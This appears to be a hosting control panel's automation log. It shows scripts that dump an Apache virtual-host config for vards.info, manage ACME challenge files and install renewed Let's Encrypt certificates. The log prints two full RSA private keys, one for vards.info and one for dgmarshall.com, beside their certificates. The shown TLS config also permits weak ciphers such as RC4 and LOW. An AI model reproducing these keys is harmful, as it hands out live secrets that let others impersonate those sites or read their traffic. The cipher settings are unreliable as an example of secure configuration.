                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:00:40: 

PUT: /tmp/pkp540060

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vards_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:00:40: 

chmod 755 /tmp/pkp540060; /tmp/pkp540060; rm /tmp/pkp540060

2026-06-14 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf	1329

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-14 06:00:40: 

PUT: /tmp/pkp808111

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:00:40: 

chmod 755 /tmp/pkp808111; /tmp/pkp808111; rm /tmp/pkp808111

2026-06-14 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt	7428
ec:43:04:f1:4a:9c:99:98:1f:ac:70:3f:e1:e5:2a:fb

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBWMXyFhJcCSe589H7ilbMNmYMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE0MDUwMjA4WhcNMjYwOTEyMDUwMjA3WjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzo4h
uCbXPY0Nr/1rkAoL4G6Mg/gmTXvVt/xYaWbIWH36Op91r0nuMHfbi58TgpXAQ1me
kKHAEuwk8fqqSBpgskiNrKNlCR11h0qTD87ZDJ2QyeLeSVI5dbbhlAQgvvGYL7uL
DbED4/Qa0NNFMFOchpAdpfbJSU75Vak+09ah4/nTpylY0d6atVZ5hoeB0daLN3qj
VFPMfkXCx/9DjsGgKW5ePFgzfyL1Ef9Tb0RtTxovR/m/9PXAQVXQxKEGkgfsGRqq
ChM4J8ozSMqDYi5RKNwaULH+ooF0kOOOdxrO7KJ3N9/HqFNZTsJrqnWmPSqx/q3q
AJBK/tBmEhnQ3E27qQIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFCmlGt+Vs0Wc
T559Ddp94uvBV8NCMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxVePr31Gj7MDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKdmFyZHMuaW5mb4IOd3d3LnZhcmRzLmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxl
bmNyLm9yZy8yNS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDXbX0Q0af1
d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ7Et8TOAAAEAwBIMEYCIQDbYxFr
f5kSPAdLOwVtU1ulIlWHr16hPsls8MCxJ+j1SwIhAM/Huvbe00e33H6jhcMdqS/T
CW6lSJHZ25Ox7pMhYEZ0AH4AGoudaw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14m
Je8AAAGexLfGLAAIAAAFAB6kcEcEAwBHMEUCIHgohjRPa30AnD8MzdESr0JXJlQx
SBapdQCF33y6zAOYAiEAo+36JyEJ3KlFwzAQSYXc/VONzHw1vOYXMN+ZrqTwlYsw
DQYJKoZIhvcNAQELBQADggEBAJ2CLCf3q9S676HtVS1v1GIqd0Q2zEIfmveFwr7Z
tuMyoViq0G9YLclSZxjyH/nIQ36vU1ASmOiReV4GaiQ0HEqsCvtepGYU9hlSLQMg
iSvyrXFeLoGkCV+l2YKIgV0Qb4UipQdYrd7bY9EGvgsTPwGPjzyLabqn/uq5/ULA
xIp0UdzOvFsyh/2yBbhhXpa6lxQQkXzQk5UBr8dQFxjgdIyYGGm1WZTKhe+2rsPL
XbM4ukZfx+YHu9Wx9Li16tNP0GxSbPkFNjDxB47am2o/C8lCJrHYYQEvEKwsztkp
OQE/paEFN0NSnXhpYkoYPN4d1UjAxf1pYjNziBCU/5uFw6w=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDOjiG4Jtc9jQ2v
/WuQCgvgboyD+CZNe9W3/FhpZshYffo6n3WvSe4wd9uLnxOClcBDWZ6QocAS7CTx
+qpIGmCySI2so2UJHXWHSpMPztkMnZDJ4t5JUjl1tuGUBCC+8Zgvu4sNsQPj9BrQ
00UwU5yGkB2l9slJTvlVqT7T1qHj+dOnKVjR3pq1VnmGh4HR1os3eqNUU8x+RcLH
/0OOwaApbl48WDN/IvUR/1NvRG1PGi9H+b/09cBBVdDEoQaSB+wZGqoKEzgnyjNI
yoNiLlEo3BpQsf6igXSQ4453Gs7sonc338eoU1lOwmuqdaY9KrH+reoAkEr+0GYS
GdDcTbupAgMBAAECggEAMpFoXumfY1G/ipjrtvFGtBTMcNiVI/4PtgHg8Tj5DnUV
CDoWuSnL1vDY/mcdAyi/T53GrJj06Y0HhHg+LPXMO4l4qc28xA0Cw3L16vZUe/qt
Qke47NFlANUbh720+Jo0DGeJJPpzveB6mipG84xcszLgF0wCPmDHuPl8yKbwrlt/
oO28as24p9VUxFv2WPDr36QmfsRDDzr3ajES1dUyt0ekeoVLCvuaWRku5n2j6k5y
YEnJ3FlZNJc1mdm/jp+XBWeHkjr13O3jxihqbvP/v0whMDPyC7muWad/lpgPG3k/
JtYv8tfLgk2tXJhDK3pU1wK5rFIncVoFnblaRKTX2wKBgQD9JScPhi8nr9bC1BlU
1gDWa7VKjZK72u/27COq30D7WE0rJMUdU6pOsKi5KKzgTmuoj4ZWxAkXJggl+RJb
1J0QLRvAcfP68v4ZEv5DzZ1ZxPakwuTPl6kfnno+XN/XDGlMW50hoYLJLIPrFu/j
RqxG3d9SdrUUG3RluOZ4sH4xDwKBgQDQ4niHJaEEobJY5A6CrtQjN0N3QME2HCSJ
+8b3Iui0oyPN3/8tTRJOJoBd0zll7Z3yCMbbP2ioqS6hY2rXDwcwoV7YluCCEIKZ
fMX+B1wulX8QcBT+/UFVps7d17+3QUy2CDBRpx3xMr9NJ6kXUQCIEPIxqT5oA/D6
wpJunN7XxwKBgQD6ByoPYT9N+ZUrFYZ3jm+BWRzUqARX2yTMQ+vup1dtaYe+pzCx
iKNb2YysZQpq+cnH0QqkxDceUAgYSWvim5sOER+p8mNCZ6KlbWcJ3RofQjVCAuUw
TOFUQ5kF44GKy81tB8epIfclb/xTxHHnjzQ1QouCzZCIbZ2Hoxqv9dKN7QKBgQC2
rPg/KNdSV57DQl62RvLbAV+NESJnkeEakwgD5ZGhN/L9/uEI2xghJGaqpyjRTScO
HkLaRu/eYGaZWXp8LXZaPyXVQM2CsbGlTYtRh1pEmxUOaRbTkOPsZf8P37iYKRFP
OIYZQo9a+sh2TzL/YyWV2UwVxi7/hELg6fxpo+L2zQKBgQCYrYrj4vbrxNbFVKDC
PigYmP/0qQbtN1gL5yfrqlSxZf52z70Q2bWP6zX0QP+a2nnZs/fRsG7Um9cGQaTs
wgnRfFojGJo/PAK09y8v8eESVllrF55UcoAv77TqY77zL6JPFNK2NBt9Aa5U2a0M
xZsWQhWqqvuDjx3PBmIBJZ/xFw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-14 06:00:40: Establishing a connection
2026-06-14 06:00:40: Establishing a connection
2026-06-14 06:00:40: 

PUT: /tmp/pkp742612

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-14 06:00:41: 

chmod 755 /tmp/pkp742612; /tmp/pkp742612; rm /tmp/pkp742612

2026-06-14 06:00:41: 


1


2026-06-14 06:00:41: Establishing a connection
2026-06-14 06:00:42: 

PUT: /tmp/pkp818819

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > 3EtHtASFwrJSNLslfWX4AQPhZ6Xllkg4Xy_ulI63jqg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3EtHtASFwrJSNLslfWX4AQPhZ6Xllkg4Xy_ulI63jqg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3EtHtASFwrJSNLslfWX4AQPhZ6Xllkg4Xy_ulI63jqg
cat > yA8-KjRlxTt3sf9tzcklGRw4J3mdgFHe-bdHaClKv34 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yA8-KjRlxTt3sf9tzcklGRw4J3mdgFHe-bdHaClKv34.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yA8-KjRlxTt3sf9tzcklGRw4J3mdgFHe-bdHaClKv34


2026-06-14 06:00:42: 

chmod 755 /tmp/pkp818819; /tmp/pkp818819; rm /tmp/pkp818819

2026-06-14 06:00:42: 




2026-06-14 06:00:53: Establishing a connection
2026-06-14 06:00:53: 

PUT: /tmp/pkp601310

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm 3EtHtASFwrJSNLslfWX4AQPhZ6Xllkg4Xy_ulI63jqg
rm yA8-KjRlxTt3sf9tzcklGRw4J3mdgFHe-bdHaClKv34


2026-06-14 06:00:53: 

chmod 755 /tmp/pkp601310; /tmp/pkp601310; rm /tmp/pkp601310

2026-06-14 06:00:53: 




2026-06-14 06:00:53: Establishing a connection
2026-06-14 06:00:53: 

PUT: /tmp/pkp592067

#!/bin/bash
temp_file=$(mktemp)
TARGET=dd152e01fe9ba41e566c0f966e8e26d3.crt

cat > $temp_file <<'endmsg'
40:92:ab:7d:92:d3:7a:c6:37:30:b4:3d:24:fb:da:ce

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBerCUTtDfKcbjtRwfUTY01zyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE0MDUwMjIyWhcNMjYwOTEyMDUwMjIxWjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALEzSZ5DckdfBDcu21eKFXW1+KU4dvRqJToGBj73nFO1ZAb6waCo9gDJ7EkmVF0g
xC7IERO2leJ8ZggXsYeomTESOodjiD4mTxzkER/XGr0uzj2Na+b4KeK83tkTcDRa
+NAeeaXG+0aFpBm/UoHrOLtsQWSrMhfYMR2Y7Xts7Kanho+mouVj1vbpfcsj5e7K
soXkxstcNKDO7hDn7fYG90SMKdH3TwznQo8xQpENgT6CkwAoiAHLa5U7KxK4SHWs
yKE6wMrK9Pc6+wDDHSxv0j33vC8wQunkPkikHyMvF2ppn9UWRTu2Z75KJebYnx7n
h8c5bsGucP1kQz8w/pIkBN0CAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQUujWF
fQO5s85EgvoncOybgW2xoDAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj699Ro
+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmRnbWFyc2hhbGwuY29tghJ3d3cuZGdtYXJzaGFs
bC5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0
cDovL3lyMS5jLmxlbmNyLm9yZy8xMTUuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB
+gD4AHYA1219ENGn9XfCx+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcAAAGexLf6wgAA
BAMARzBFAiEA8euSZCljqkTFfUWYRT7ynY8hxNiGMYXjDQKKjRQwNLICIGUNfzLz
Q0iQTInW45yjdM1lIF5HwqBjmQX53+sdzThKAH4AGoudaw/+v4G0eTnG0jEKhtbR
AtTwRuIYLJ3jX14mJe8AAAGexLf83AAIAAAFAB6kdCQEAwBHMEUCIFFJFeQUcPee
koTyBXT3B2JZItp51kdWdGEFGDnvP4IIAiEAt1fpCANvwBZNpqIHGAV+V1OlmTrp
YeOGf7gtoNkdd4AwDQYJKoZIhvcNAQELBQADggEBAJCEO3mFEAceZcnl9MPiTC93
54kMsLFzXLuEh/hN2iRehkGoI9F3ltlbaQmjrt/XyJGv0CY8st2/pt1zI4kTEsR8
fkSP0++07yXXU0OJecJyLzNTyB9fhw0dkBTZlP7rABjgfH91D9FLSZv5IgUw8hvx
0N1hKJtu7wARUuHVqZKG5mKchBFCDi92r6D61vJVScONoA9iJaz7dlsTVv9ULGF9
/AMcf8wchaNAbvaHvutdKU+IrGo7EkAovBNwb40pCEHBQEQXBEdEpPCRSntLmS+y
EEvr+1bDLHo5l9aiulwm8dctPcUTFoO3eyIMuluNpxWcmzPEhabhcKZ6/4P7P6w=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCxM0meQ3JHXwQ3
LttXihV1tfilOHb0aiU6BgY+95xTtWQG+sGgqPYAyexJJlRdIMQuyBETtpXifGYI
F7GHqJkxEjqHY4g+Jk8c5BEf1xq9Ls49jWvm+CnivN7ZE3A0WvjQHnmlxvtGhaQZ
v1KB6zi7bEFkqzIX2DEdmO17bOymp4aPpqLlY9b26X3LI+XuyrKF5MbLXDSgzu4Q
5+32BvdEjCnR908M50KPMUKRDYE+gpMAKIgBy2uVOysSuEh1rMihOsDKyvT3OvsA
wx0sb9I997wvMELp5D5IpB8jLxdqaZ/VFkU7tme+SiXm2J8e54fHOW7BrnD9ZEM/
MP6SJATdAgMBAAECggEAK0TtzhKEHj9qZRsw/kA+mz6zF40hJu+gZXnBHrER4DLj
2Px0OYnogCrOYtJUOWVd4lqCKQElumdL9t/qPskBl0TvO84nH531JYXfVJoO8nEy
dT9KQN0KRU5/UBx6Ap7QMOmwJLXg98h8WLkqKYVJliKKGU3gbogg/iwwmTnw04Sd
eBRK5364Jnqu3WWmGShwwF7RWc3L0bYqi+g9uQaiwtOmPgK79CTYsiCGM6sWoN7v
ppC0MGiblS9uOt7gy1RPa6Y8sfQyycA9GF2L5t57Av1AbBlHr64n9r9DoKIM7o7F
hWdH+vDDrne7ELME/zZ1q4G+nlUNhGO3RD9lYJCitQKBgQD5mCFUzUurwAU+t0iq
dTpeeLuQ9m8jf7rZcck2i0PYwlNhJr0ZpHYyqrj/s8jmJOLh9MmXQI0TQ07smpsb
pUE3DyfQaXN9m3Or1EJcr7jnVJEckcBxnRpFMB1YkXPPvD2CRyo9/NP13mrz/AW9
g5sF3sHw5ZcVvKL0+KVy4uQRQwKBgQC1v4TflxnCGE7YS6lkzFby0x1ggHWjq2u1
PwufOa16iDK4SxoOIyVVuEQ70pPNYRr43OjvO7xemBn5CZKtqqpkkln1zNfcv5FC
A7+RXo3W2A5QP44ejNPVN1Ep6YtT9NHgBvFE6RjCvFHmpP7YjHJDIunFr15u/HXO
MCuylwOfXwKBgQCjmH9gYh+TN404ilHqyGO1wFTQs3YtQm9qTxaf1bBmxxh3uTiB
Mjb3Bsezclff4ZWEnTn1Fa5iTd/RXZUFDdAtEpX6GORGFDpBCiNlNRhxKBDlNPN6
hIrPhrX1c4EBTFTUq2iYsLsNkPdxbGMm0LgvpM5h41qgOMBm6QMoxmbOmQKBgQCd
/5G2gngNCO66EASBsTZBQJCATQx3rVUkKlujHxQVuoNFPVy4P4t8WoVO8EA3Qhyd
jgYdu3OFVHr3yX+u4/ffGG+GRH6/0/WmSvXlnSp3RDolPysAmfKpn746TmImKWWu
eLqT6oPw/p/Af11gya+nd5l8lnjkySpshennBmtKxwKBgBNIj/Ef3Fe/MgEvbR2H
ZrMsR7+x/m1GGEZx097oyNI8lmAuLkfoltJKyqZMteZzZlnUPx7gdmOlduC9jAKk
Sg5GZejeBbDvO5cCR99631N50FZ33zrVi05KHypbztm1xgSagGRLVvlmB2sXt1ie
R/tkvpnB6wnz0CMvU7Dg7KvQ
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
